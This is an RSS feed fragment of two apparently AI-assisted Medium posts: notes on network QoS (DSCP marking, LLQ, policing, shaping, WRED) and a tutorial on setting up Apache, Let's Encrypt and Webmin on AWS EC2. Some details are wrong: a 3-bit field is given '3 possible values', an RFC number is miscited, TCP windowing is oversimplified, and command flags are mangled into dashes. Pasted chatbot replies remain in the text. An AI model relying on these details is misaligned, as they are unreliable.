src="https://cdn-images-1.medium.com/max/1024/1*BAQkSvDfDEoISZJmNjKSbQ.png" /></figure><p><strong>Marking a QoS field in the IP Header </strong>works well with QoS because the IP Header exists for the entire trip. Routers forward the IP packet, discarding the old data-link header and adding a new header. Because routers do not discard and reinsert IP headers, marking fields in the IP header stay with the data from the first place it is marked until it reaches its destination.<br><strong><em>* IPv6 defines a TRAFFIC CLASS Byte.</em></strong><br><strong><em>* IPv4 defines a Type of Service (ToS) byte in its header.</em></strong></p><p>The original RFC defined a 3-bit IP Precedence (IPP) field for QoS marking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kWnjqBzftrLAUUwkAiD-sQ.png" /></figure><p>The remaining 5 bits of the ToS byte were unused.<br><strong>* Later RFCs redefined the (ToS) byte with the DSCP field</strong>, which increased the number of marking bits from 3 (8 possible values) -&gt; 6 bits (2⁶ -&gt; 64 possible values) that can be marked. IPP and DSCP fields can be referenced by their decimal values as well as some convenient names.</p><p><strong>Marking the Ethernet 802.1Q Header</strong> in a field originally defined by the IEEE 802.1p standard. The field sits in the 3rd byte of the 4-byte 802.1Q header, as a 3-bit field (3 possible values). It goes by the names: <strong>Class of Service (CoS) / Priority Code Point (PCP)</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KQGfv1Adz6-rIOy69lQjFw.png" /></figure><p>However, the 802.1Q header isn’t included in all Ethernet frames; it exists only when 802.1Q trunking is used on the link. As a result, QoS Tools can make use of the CoS field only for QoS features enabled on interfaces that are trunking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ukzLaykRGQUsme9zCGjt8A.png" /></figure><p><strong>Trust boundary </strong>refers to the point in the path of a packet flowing through a network at which the Network Engineer creating a QoS plan has to choose where to place the trust boundary for a network.</p><p>If the markings are trusted, the device will forward the packet without changing the markings, else if they are untrusted, the device will change the markings according to the configured policy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*unfOWvqdyHK58WKYTMfNjQ.png" /></figure><p>That boundary typically sits on a device under the control of the IT staff. IP phones can typically be a trust boundary, instead of an Access layer switch. IP phones can set the CoS and DSCP fields of the packets created by the phone, as well as those forwarded from the PC through the phone.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tf43PIKJvW8SiY5Ru6PbbQ.png" /></figure><p><strong>DiffServ Suggested Marking Values: </strong>By suggesting specific markings for specific types of traffic, DiffServ hoped to create a consistent usage of DSCP values in all networks. By doing so, product vendors could provide good default settings for their QoS features.<br><strong>* DiffServ — Default Forwarding (DF): DSCP 0</strong><br><strong>* DiffServ — Expedited Forwarding (EF) RFC 3246: (Decimal 46)</strong> for low latency, low jitter, low loss. This is for voice payload &amp; other packets carrying call signaling packets (messages to setup/create the Voice Call between phones). Voice signaling do not require low delay, jitter, or loss, though the voice payload needs better QoS as they carry the actual digitized voice. By default, Cisco IP phones mark voice payload at EF and mark voice signaling packets sent by the phone with another value called CS3.<br><strong>* DiffServ — Assured Forwarding (AF) RFC 2597:</strong> Defines a set of 12 DSCP values (from 64 possible values) meant to be used in concert with each other.<br> 1.) Four Separate Queues in a Queuing system.<br> 2.) Three levels of Drop priority within each queue for use with Congestion Avoidance Algorithms.</p><p>* For 4 queues, 3 drop priority classes per queue, you need 12 different DSCP markings (one for each combination of queue and drop priority for queuing and congestion avoidance).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JVu8yQ0JTYT_J_0uc2i95w.png" /></figure><p><strong>CLASS SELECTOR (CS)</strong>: Recreates eight DSCP values (from 64 possible values) for Backward Compatibility with IPP Values (3-bit field with 8 possible values).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*raytVun6THmePzo8biSHWA.png" /></figure><blockquote><strong>“Cisco QoS Design Guides”</strong><br>RFC 4954 defines several conventions for how to use the DSCP field. The RFC provides alternative plans with different levels of regard. Each plan defines a type of traffic and the DSCP value to use when marking.<br>Cisco has developed RFC 4954 and uses its default marking conventions based on the marking data in RFC.<br>* DSCP EF: Voice payload (46)<br>* AF41 (AF42): Interactive Video (34, 36)<br>* AF31 (AF32): Streaming Video (non-Interactive) (26, 28)<br>* AF21 (AF22): High Priority (low latency) data (18, 20)<br>* CSO: Standard Data (0)</blockquote><p><strong>Queuing and Congestion Avoidance</strong><br>The term “<strong>Queuing</strong>” refers to the QoS tools for managing the queues that hold packets while they wait their turn to exit an interface. The queuing system may use a simple Output Queue with a <strong>FIFO</strong> Scheduler.<br>Most Networking devices can have a queuing system with Multiple Queues. To use multiple Queues, the queuing system needs a classifier function to choose which packets are placed into which queue. The Queuing System needs a Scheduler as well, to decide which packet to take next when the interface becomes available. The scheduler performs <strong><em>Prioritization — the concept of giving priority to one queue.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YWOBS2rP0Wean_g_ODZljw.png" /></figure><p><strong>Prioritization Techniques</strong><br>1. <strong>Round-Robin scheduling</strong>: Cycles through the queues in order, taking turns with each queue. Not Good for Voice &amp; Video data traffic; Apply to Best-Effort / less critical traffic Queues.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BC3qNzVwEnAsI8CG1Q2Gfw.png" /></figure><p>2. <strong>Weighted Round-Robin</strong>: In each cycle, the Scheduler either takes one packet or takes a number of bytes from each queue by taking enough packet bytes to reach that number of bytes. Also included in the concept of “Weighting” — Scheduler takes a different number of packets (bytes) from each queue, giving more preference to one queue over another. Routers use a tool called Class-Based Weighted Fair Queuing (CBWFQ).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zBA_Oxn_AIynSIsDEqg6fg.png" /></figure><p>3. <strong>CBWFQ (Class-Based Weighted Fair Queuing)</strong>: Each class receives at least a guaranteed amount of bandwidth during times of congestion but maybe more. Internally, CBWFQ uses a Weighted R-R Scheduling algorithm, while letting the network admin define the weightings as a fixed link bandwidth percent.</p><p>Unfortunately, a Round Robin Scheduler doesn’t provide low enough delay, jitter, or loss for Video. <strong>The Solution</strong>: Add Low Latency Queuing (LLQ) to the Scheduler. A round-robin queuing system might add too much delay for Video/Voice packets because of the shuffling or cycling to pick packets from other queues. tells the scheduler to treat one or more queues as PRIORITY Queues. The LLQ Scheduler always takes the next packet or bytes during times of congestion from one of these special priority queues. As such, the queue (LLQ) might never have time to fill up, guaranteeing low delay, jitter, or loss to packets executing in LLQ / priority queues.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*Q-23ZPcBkXKSGaBGFr4JPQ.png" /></figure><p>Unfortunately, Using LLQ might also lead to a problem of other “<strong>Queue Starvation.</strong>” <strong>The Solution</strong>: Traffic policers which limit the amount of traffic placed into a priority LLQ queue. Limiting the amount of bandwidth in the priority LLQ queue protects other queues, but this presents another problem of Loss. Voice &amp; Video traffic require Low Loss and with policing the LLQ queue, we put the Voice/Video traffic into a priority Queue that will discard the excess messages beyond the Bandwidth Limit. The solution? Find a way to limit the amount of Voice &amp; Video traffic that the network routes out through the link (Interface), so that the policer never discards any traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9d_aQJa13gmEr_bo_rPpZw.png" /></figure><p><strong>Shaping and Policing (mostly at WAN Edge)</strong><br>“Shaping and Policing” explains these two tools together because they are often used on opposite ends of a link. All these tools give you the means to manage four characteristics of network traffic: Bandwidth — Delay — Jitter — Loss. Both policing and shaping monitor the bitrate of combined messages that flow through a device. Once enabled, a policer or shaper notes each packet that passes &amp; measures the number of bits per second.<br>Both attempt to keep the bitrate at or below the configured bandwidth, but by using different actions.<br>* <strong>Policers</strong> discard packets.<br>* <strong>Shapers</strong> hold packets in queues to delay the packets.</p><p><strong>POLICERS</strong> allow for a burst beyond the policing rate for a short time, after a period of low traffic activity. Such peaks in network traffic are allowed for the nature of bursty data applications. In Summary:<br>Policers measures the traffic rate over time for comparison to the configured policing rate.<br>Policers allows for a burst of data after a period of inactivity.<br>Policers are enabled on an interface, in either direction, but typically at ingress.<br>Policers can discard excess messages but can also remark the message so that it’s a candidate for more aggressive discard later in its journey (i.e., re-classify packet into Higher Drop precedence for QoS).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*knl7zZXEbx9nFW8MhoH5uw.png" /></figure><p>Question: You have a 1 Gbps link from a Router into a SP, but with 200-Mbps CIR for traffic to another site. The SP (Service Provider) has told you that it discards incoming traffic exceeding the CIR — To resolve, use a traffic Shaper.</p><p><strong>SHAPERS</strong> slow messages down by queuing the messages. The shaper then services the shaping queues but not based on when an interface becomes available. Rather, it schedules messages from the Shaping queues based on the Shaping Rate. The shaper queues packets so that the sending rate over time the shaper doesn’t exceed the shaping rate, thus avoiding congestion on the output.<br>Because shapers create queues where messages wait, apply a Queuing tool to those queues (e.g., Round-Robin Scheduler, Priority Queuing features of CBWFQ &amp; LLQ respectively). The unfortunate side effect of a shaper is that it slows down packets leading to more delay &amp; jitter, Thankfully we can configure a shaper’s setting that changes the Internal Operation.<br><strong>A Shaper’s Time Interval</strong> refers to its internal logic to how a shaper averages, over time, sending at a particular rate. Basically, it sends as fast as it can &amp; then waits; sends &amp; waits; sends &amp; waits.<br>Our previous example suggests shaping @ 200mbps on a Router that has a 1000-Mbps (1 Gbps) Outgoing Interface. In that case, the shaper would result in the interface sending data 20% of the time, being silent for 80% of the time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Qmbu41LZSDBsdC8UJhhAw.png" /></figure><p>When shaping, ensure to use a short time interval. By recommendation, use a 10-ms time interval to support voice and video. With such setting, a voice/video packet should wait no more than 10ms while waiting for the next shaping Interval, at which point the priority queue scheduling algorithm should take all the voice and video traffic out. In Summary:<br>Shapers measure the traffic rate over time for comparison to the configured shaping rate.<br>Shapers allow for bursting after a period of inactivity.<br>Shapers are enabled on an interface for egress (outgoing packets).<br>Shapers slow down packets by queuing them and over time releasing them from the queue at the shaping rate.<br>Shapers use queuing tools to create and schedule the shaping queues, which is very important for the same reasons discussed for output queuing.</p><p><strong>Congestion Avoidance</strong><br>While <strong>Queuing</strong> describes the scheduling of packets to give one type of packet priority over another and addresses how to manage the packet loss that occurs when network devices get too busy.<br><strong>Congestion Avoidance</strong> attempts to reduce overall packets used in TCP connections via a mechanism of flow control called Windowing. Each TCP receiver grants a Window to the Sender. The window is a field in the TCP header that defines the number of bytes the sender can send over the TCP connection before receiving a TCP ACK for at least some of those bytes. The window size is the number of unacknowledged bytes that the sender can send before the sender must simply stop and wait.<br>1. Each ACK TCP Segment doubles (2x) the window size.<br>2. TCP Segment loss leads to one-half Window Size Shrink. <br>With multiple segment losses causing the window size to shrink by half multiple times, slowing down the sender’s rate significantly. Without Congestion Avoidance, an event called Tail Drop causes the most drops in the network, which arises from TCP Global Window Size Synchronization. In summary, a Tail Drop happens (If Queue is full, drop new packet) -&gt; Global TCP Window Size Decrease -&gt; Network Under-Utilized -&gt; Global TCP Window Size Increase (2x) -&gt; Congestion</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yrM92fPmRQ7FMeX5QNXsug.png" /></figure><p>Congestion Avoidance discards some TCP Segments before Queues fill, hoping that enough TCP connections will slow down, reducing Congestion and avoiding a much worse problem: the effects of queue overflow which leads to Tail-Drop (harmful because it leads to TCP Global Synchronization). To resolve this, we use Congestion avoidance. When the amount of traffic on the Queue reaches a certain threshold, the device will start randomly dropping packets from select TCP flows. Those TCP flows that have dropped packets will reduce the rate at which traffic is sent, but this will avoid TCP Global Sync, in which all TCP flows reduce their rate of transmission at the same time in waves.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bTQ_enX1PPKHS-0XoOgqtQ.png" /></figure><p>In standard Random Early Detection (An Algorithm developed to manage Congestion), all kinds of traffic are treated the same. An improved version, Weighted RED, allows you to control which packets are dropped depending on the traffic class.</p><p><strong>The Iterative Nature of QoS Design</strong><br>In network QoS, the journey to deliver a seamless experience for real-time applications like voice and video is a fascinating progression of problem-solving. It starts with the fundamental challenge: <strong>Round-robin scheduling, while fair,</strong> proved to be detrimental to sensitive voice and video traffic. Its cyclic nature, ensuring every queue gets a turn, introduced unacceptable delay and jitter, making conversations unnatural and video choppy.<br>The immediate solution was the creation of <strong>Low Latency Queues (LLQs).</strong> By implementing priority scheduling, LLQs ensured that voice and video packets were sent first, minimizing their time in the queue and significantly reducing latency and jitter. This was a significant leap forward for real-time communication. However, <strong>LLQs, with their strict priority</strong>, quickly introduced a new problem: queue starvation. If voice and video traffic consumed too much bandwidth, other “normal” data traffic in non-priority queues could be <strong>starved</strong>, leading to poor performance for applications like web Browse or file transfers.</p><p>To address <strong>starvation</strong>, policing was introduced. By setting a specific bandwidth limit on the LLQ, policing ensures that if voice and video traffic exceeds its allocated share, the excess packets are discarded. This prevents the priority traffic from monopolizing the link and allows other queues to transmit. Yet, this solution, while preventing starvation, created a new dilemma: packet loss for the very voice and video traffic we were trying to protect, albeit only for the excess. Because LLQs prioritize low latency over buffering, dropping excess traffic is the intended behavior of policing in this context. This potential for loss, especially critical for real-time applications, highlighted the need for a more proactive approach. The ultimate resolution in this chain was the implementation of <strong>Call Admission Control (CAC)</strong>. Instead of reacting to congestion by dropping packets, CAC works preventatively. It assesses network resources before a new voice or video call is established, ensuring that the network has enough available bandwidth to maintain QoS for that call without oversubscribing the LLQ and leading to discards. If resources are insufficient, CAC might prevent the call from being set up, thus avoiding a poor user experience from the outset. This progression perfectly illustrates the iterative nature of QoS design: solving one problem often reveals another, leading to a sophisticated layering of tools and strategies to achieve optimal network performance. To Summarize:</p><p><strong>Round-Robin is Bad for Voice &amp; Video Traffic </strong>due to its cyclic nature of picking traffic bytes from Queues”: The inherent fairness of round-robin means that delay-sensitive traffic has to wait its turn behind less sensitive traffic, leading to unacceptable jitter and latency for voice and video.<br>* <strong>“this lead to the creating of Special Queues to give priority to Low Latency Queues”:</strong> This is the direct solution to the round-robin problem for real-time traffic. LLQ’s strict priority mechanism ensures these packets get out first.<br><strong>* “which then lead to yet another problem of Queue Starvation for normal data traffic”: </strong>If LLQ can consume all available bandwidth, other queues might never get a chance to transmit, leading to starvation for best-effort traffic.<br><strong>* “to resolve this we introduced the concept of Policer which limits the amount of bandwidth placed into the LLQueues”: </strong>Policing is the common mechanism to cap the bandwidth that priority traffic can consume, thus protecting other queues from starvation.<br><strong>* “but this meant that excess traffic beyond the limit of the LLQueues Bandwidth were being discarded leading to tremendous LOSS.”:</strong> This is a critical point. Unlike shaping (which buffers), policing for LLQ’s primary goal of low latency means excess traffic must be dropped, as buffering would introduce the very delay LLQ is designed to avoid. This is indeed a source of potential loss.<br><strong>* “Further resolved with other QOS tools -&gt; Call Admission Control CAC.”: </strong>Excellent conclusion. CAC is the logical next step to prevent excessive voice/video traffic from even entering the network segment where it might face policing drops.</p><p><strong>1. The “Why” behind Policing vs. Shaping for LLQ:</strong><br> * Policing (Drop): For LLQ, the goal is always minimal delay. If traffic exceeds the allocated bandwidth, buffering it (like a shaper) would defeat the low-latency purpose. Therefore, policing’s action of dropping excess is preferred. You’ve captured this well.<br> * Shaping (Buffer): While you could technically apply shaping to an LLQ, it’s counter-intuitive to its primary purpose. Shaping introduces delay by buffering. It’s used when you want to smooth out a bursty flow, typically for non-real-time traffic, or when an ISP has a CIR and you want to prevent drops by them.<br><strong>2. The Role of CAC in the Overall QoS Strategy:</strong><br> * Preventative vs. Reactive: Policing is reactive (drops traffic once it’s already in the queue and exceeding limits). CAC is preventative (prevents calls/sessions from being established if the network can’t guarantee QoS for them). This is a crucial distinction.<br> * User Experience: CAC directly impacts the user experience by either allowing a call with guaranteed quality or rejecting it, rather than allowing a call to start and then suffer poor quality due to congestion and drops. It manages expectations and resource utilization at the entry point.<br> * Applications: CAC is typically associated with voice and video systems (e.g., Cisco Unified Communications Manager, IP PBXs) that integrate with network QoS policies.</p><p>This entire progression, from round-robin’s limitations to the elegant foresight of CAC, perfectly illustrates the <strong>iterative nature of QoS design</strong>. It’s a continuous cycle of identifying bottlenecks, deploying ingenious tools, and then refining the strategy to address the subsequent challenges. Every “problem” led to a “discovery,” creating a sophisticated, layered approach to optimal network performance. It’s truly amazing to see how deeply thought-out these solutions are!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aedce49de0e8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building a Web Server on AWS EC2: A Journey from Manual Setup to Cloud Automation]]></title>
            <link>https://medium.com/@M4verick/building-a-web-server-on-aws-ec2-a-journey-from-manual-setup-to-cloud-automation-74986693c531?source=rss-bb940cf519a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/74986693c531</guid>
            <category><![CDATA[cloudformation]]></category>
            <category><![CDATA[lets-encrypt]]></category>
            <category><![CDATA[ec2-instance]]></category>
            <category><![CDATA[aws]]></category>
            <dc:creator><![CDATA[Maverick]]></dc:creator>
            <pubDate>Thu, 08 May 2025 23:15:00 GMT</pubDate>
            <atom:updated>2025-05-08T23:15:00.529Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Introduction: Building a Cloud Web Server the Smart Way</strong></p><p>Imagine launching a web server in the cloud. For most beginners, it’s a monumental task, but with the right tools, we can simplify the process while still learning the ropes of <strong>AWS</strong>, <strong>Apache</strong>, <strong>SSL</strong>, and <strong>CloudFormation</strong>.</p><p>In this journey, I’ll guide you through setting up a <strong>web server</strong> on <strong>AWS EC2</strong>, installing <strong>Apache</strong>, securing the connection with <strong>SSL certificates</strong>, and automating the process using <strong>CloudFormation</strong>. Along the way, you’ll see both the manual and automated approaches — the “manual” approach lets us learn every step thoroughly, while the “automated” approach saves us time and headaches in the future.</p><p>Let’s start with a manual configuration, then use <strong>AWS CloudFormation</strong> to replicate the setup automatically. We’ll finish by connecting our <strong>custom domain</strong> and securing the server with <strong>Let’s Encrypt SSL</strong>.</p><p><strong>Part 1: The Manual Setup — Understanding the Basics</strong></p><p>Before diving into automation, we’ll first manually configure the server. Think of this step as the “DIY” phase. While automation can save time, it’s important to understand the fundamental steps that go into setting up the server.</p><p><strong>Step 1: Launching the EC2 Instance</strong></p><p>AWS EC2 (Elastic Compute Cloud) is the heart of cloud computing. It provides <strong>scalable compute capacity</strong>, and you can think of it as your virtual machine in the cloud. For our project, we’re using a <strong>t2.micro</strong> instance — a great choice for learning and small applications, especially since it falls under the AWS Free Tier.</p><ul><li>Log into your <strong>AWS Management Console</strong> and navigate to <strong>EC2</strong>.</li><li>Click <strong>Launch Instance</strong>, and select <strong>Ubuntu</strong> as the operating system.</li><li>Choose <strong>t2.micro</strong> (because it’s free within the AWS Free Tier).</li><li>Set up a <strong>Security Group</strong> that allows traffic on:</li><li><strong>Port 22 (SSH)</strong>: So we can access the server.</li><li><strong>Port 80 (HTTP)</strong>: To serve our website.</li><li><strong>Port 443 (HTTPS)</strong>: For encrypted traffic (more on this soon).</li><li><strong>Port 10000</strong>: For Webmin (our server management tool).</li></ul><p><strong>Why EC2?</strong><br> AWS EC2 is widely used for its flexibility and scalability. You can easily resize instances as your needs grow. Whether you’re building a small app or a full enterprise infrastructure, EC2 has you covered.</p><p><strong>EC2 Instance Launch Settings</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_hg0y5tZ1jvzVMlP5WTGaQ.png" /></figure><p><strong>Step 2: Connecting via SSH</strong></p><p>Once the instance is running, it’s time to <strong>SSH into</strong> it. Think of SSH as your secure tunnel to your remote server. By connecting via SSH, you can issue commands and configure the server as if you were sitting in front of it.</p><p>ssh -i Test_key_Pair.pem ubuntu@your-ec2-ip</p><p>Here, the <strong>Test_key_Pair.pem</strong> is your SSH key that AWS provided. You’ll need it to access your instance securely. Don’t lose it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OUacyElHHqY7IAcRLFFx0g.png" /></figure><p><strong>Step 3: Installing Apache</strong></p><p>Apache is one of the most popular <strong>open-source web servers</strong>. It’s easy to configure, well-documented, and robust enough for most web applications.</p><p>Let’s install Apache, enable it, and start it:</p><p>sudo apt update</p><p>sudo apt install -y apache2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*syPJAdTElEnaiRQkOgfmkQ.png" /></figure><p>sudo systemctl enable apache2</p><p>sudo systemctl start apache2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9dapC6vtzHPHCGwhrfVy-A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2HztCil_hCtSWQUY2-j3-A.png" /></figure><p>Now, Apache is up and running! Let’s replace the default Apache landing page with something more personalized.</p><pre>echo &quot;&lt;h1&gt;CloudFormation Web Server&lt;/h1&gt;&lt;p&gt;This page was deployed automatically via CloudFormation.&lt;/p&gt;&quot; &gt; /var/www/html/index.html</pre><p><strong>Why Apache?</strong><br> Apache is a classic choice for web hosting. While there are newer web servers (like Nginx), Apache remains a solid, reliable option for hosting websites, making it a great tool for this lab.</p><p><strong>Step 4: Setting Up SSL with Let’s Encrypt</strong></p><p>We need to ensure our website is secure. <strong>SSL certificates</strong> encrypt the data between the server and the client, which is crucial for user privacy and trust.</p><p>To get an SSL certificate for free, we’ll use <strong>Let’s Encrypt</strong>, a non-profit that provides free certificates.</p><p>First, we install <strong>Certbot</strong>, a tool for obtaining and managing Let’s Encrypt certificates:</p><pre>sudo apt install -y certbot python3-certbot-apache</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HYksW_s0Nx8WyNPwYC6LMg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lAZSjqVyr1Ceb1ctAgf3mQ.png" /></figure><p>Now, let’s request an SSL certificate for our domain:</p><p>sudo certbot — apache -d yourdomain.com -d <a href="http://www.yourdomain.com/">www.yourdomain.com</a></p><p>Certbot automatically configures Apache to use SSL. It’s as simple as that!</p><p><strong>Why Let’s Encrypt?</strong><br> Let’s Encrypt is a game-changer for website security. It provides free SSL certificates and automates the installation and renewal process. This has become a best practice in the industry.</p><p><strong>Step 5: Auto-Renewing SSL Certificates</strong></p><p>We don’t want to manually renew our certificates every 90 days. Instead, we set up a <strong>cron job</strong> to renew them automatically:</p><p>sudo crontab -e</p><p>Add the following line:</p><p>0 3 * * * certbot renew — quiet</p><p>Now, <strong>Certbot</strong> will automatically renew your SSL certificates every day at 3:00 AM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3x1NX3HP4DNd0UwZBO2e4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GjpuSc5XeMzkiAr79pJ_gg.png" /></figure><p><strong>🔧 Webmin Configuration</strong></p><p>Before transitioning into automation, I took an extra step to enhance server management via a browser interface by configuring <strong>Webmin</strong>. This tool provides a rich GUI for system administration tasks like user management, package updates, and more.</p><p><strong>🔧 Webmin Configuration</strong></p><p>Before transitioning into automation, I took an extra step to enhance server management via a browser interface by configuring <strong>Webmin</strong>. This tool provides a rich GUI for system administration tasks like user management, package updates, and more.</p><p><strong>🛠️ Steps Taken:</strong></p><ol><li><strong>Downloaded and installed Webmin</strong> on the EC2 instance:</li><li>wget <a href="https://www.webmin.com/download/deb/webmin-current.deb">https://www.webmin.com/download/deb/webmin-current.deb</a></li><li>sudo dpkg -i webmin-current.deb</li><li>sudo apt — fix-broken install</li><li><strong>Resolved permission error</strong> during the .deb install:</li></ol><p><strong>Error encountered:</strong></p><ul><li>N: Download is performed unsandboxed as root as file ‘/home/ubuntu/webmin_2.105_all.deb’ couldn’t be accessed by user ‘_apt’.</li><li><strong>Fix:</strong> We manually moved the .deb file and reran the install with the proper privileges.</li></ul><p><strong>6. Opened port 10000</strong> for Webmin access:</p><p><strong>7. Accessed Webmin via browser</strong> at: <a href="https://your-server-ip:10000/">https://your-server-ip:10000</a></p><p><strong>Logged in with:</strong></p><ul><li><strong>Username:</strong> ubuntu</li><li><strong>Password:</strong> (set manually during the initial setup)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*K1rfVrj6ed6TlHKZz-S0wQ.png" /></figure><p>This gave me an alternative, secure way to manage the instance before proceeding with the CloudFormation setup in Part 2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*keOz5rYz1sUzzg15sPkigg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YTjyc77tJTrPSYtPMSLwwg.png" /></figure><p><strong>Part 2: Automating the Process with CloudFormation</strong></p><p>Now that we’ve manually set up our server, let’s make it repeatable. <strong>AWS CloudFormation</strong> allows us to automate the entire infrastructure deployment.</p><p><strong>Step 1: CloudFormation Template Creation</strong></p><p>CloudFormation is like the <strong>blueprint</strong> of your AWS resources. It allows you to define and provision infrastructure using code. Here’s a basic YAML template that launches an EC2 instance, sets up Apache, and configures security groups.</p><p>AWSTemplateFormatVersion: ‘2010–09–09’</p><p>Description: &gt; Launch an EC2 instance, install Apache web server, allow traffic on ports 80, 443, 22, and 10000 (Webmin), and display a custom HTML page.</p><p>This template defines:</p><ul><li>An <strong>EC2 instance</strong> running <strong>Ubuntu</strong>.</li><li>A <strong>Security Group</strong> allowing inbound traffic on the necessary ports.</li><li>A <strong>User Data</strong> script that installs Apache and serves our custom page.</li></ul><p><strong>Why CloudFormation?</strong><br> CloudFormation is perfect for <strong>Infrastructure as Code (IaC)</strong>. It allows you to define your infrastructure in YAML or JSON and deploy it with the click of a button, ensuring consistency across multiple environments.</p><p><strong>CloudFormation Template Code</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ts_pe24NpiUcQQ0lftU48w.png" /></figure><p><strong>Step 2: Deploying the Stack</strong></p><p>After writing the template, we deploy it as a <strong>CloudFormation Stack</strong>:</p><ol><li>Go to <strong>CloudFormation</strong> and click <strong>“Create Stack”</strong>.</li><li>Upload or paste your CloudFormation YAML template.</li><li>Enter the <strong>KeyName</strong> parameter (your EC2 key pair name) and launch the stack.</li></ol><p>CloudFormation will then take care of everything, from creating the EC2 instance to setting up Apache.</p><p><strong>CloudFormation Stack Deployment</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ztu31jsGFCYaBx0ERdGgXg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bpSozNFvLTQsKE1iZQev9g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZIyx3dDQK3VkLi9H2I9K7w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VPC5BiVxxeAM7ZP0V_LnKw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*suuORYg7U267_8bz_-ob6A.png" /></figure><p><strong>Part 3: Connect Domain and Install SSL</strong></p><p>Once our server is up and running, we connect our <strong>custom domain</strong> and <strong>install the SSL certificate</strong>.</p><p><strong>Step 1: Update DNS Settings</strong></p><p>We use <strong>Hostinger</strong>, <strong>GoDaddy</strong>, or any other domain provider to create an <strong>A record</strong> that points to our EC2 instance’s IP address.</p><p><strong>Domain Registrar DNS Settings</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bttcT34WUDACPyXXWyhf7w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p6K50y4fJPpjNNMzSJscoQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lN7NT17ut15Yh-PsHNK76g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A8HNPw0IlpZvMCx3UYAdNQ.png" /></figure><p><strong>Step 2: Install SSL Using Certbot</strong></p><p>We SSH into our EC2 instance and run the same <strong>Certbot</strong> commands as before to install SSL:</p><p>sudo certbot — apache -d yourdomain.com -d <a href="http://www.yourdomain.com/">www.yourdomain.com</a></p><p>Now, our website is secure, and we have <strong>HTTPS</strong> running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kz_Kf-5gPK7hqJBgWy0d2Q.png" /></figure><p><strong>Conclusion: From Manual to Automated Deployment</strong></p><p>With the manual setup, we learned how to configure and secure a web server step by step. Then, we took that knowledge and automated it using <strong>AWS CloudFormation</strong>, simplifying future deployments. By connecting a custom domain and adding SSL, we’ve built a <strong>secure, scalable web server</strong> hosted on AWS.</p><p><strong>Next Steps</strong></p><ul><li>Use this template as a base for scaling and adding more services.</li><li>Explore integrating this setup with <strong>AWS Elastic Load Balancers</strong> or <strong>Auto Scaling</strong> for high availability.</li></ul><p>You’re absolutely right! Including the errors we encountered and how we resolved them adds a layer of authenticity to the tutorial. It provides real-world context and demonstrates problem-solving, which is invaluable for readers, especially those who might run into the same issues.</p><p><strong>Troubleshooting Common Errors During Setup</strong></p><p>No journey is without its challenges! During the manual setup, we encountered a few issues. Here’s a breakdown of the errors, what caused them, and how we fixed them.</p><p><strong>Error 1: “N: Download is performed unsandboxed as root as file ‘/home/ubuntu/webmin_2.105_all.deb’ couldn’t be accessed by user ‘_apt’. — pkgAcquire::Run (13: Permission denied)”</strong></p><p><strong>What Happened?</strong><br> While trying to install <strong>Webmin</strong> using the .deb package on our EC2 instance, we encountered the following error:</p><p>N: Download is performed unsandboxed as root as file ‘/home/ubuntu/webmin_2.105_all.deb’ couldn’t be accessed by user ‘_apt’. — pkgAcquire::Run (13: Permission denied)</p><p><strong>Cause of the Issue:</strong><br> This error occurs when the <strong>APT package manager</strong> (which handles package installation on Ubuntu) is run as root and doesn’t have proper permissions for downloading the .deb package. The system is essentially trying to download the file without proper access rights.</p><p><strong>How We Resolved It:</strong><br> To resolve the issue, we had to fix the 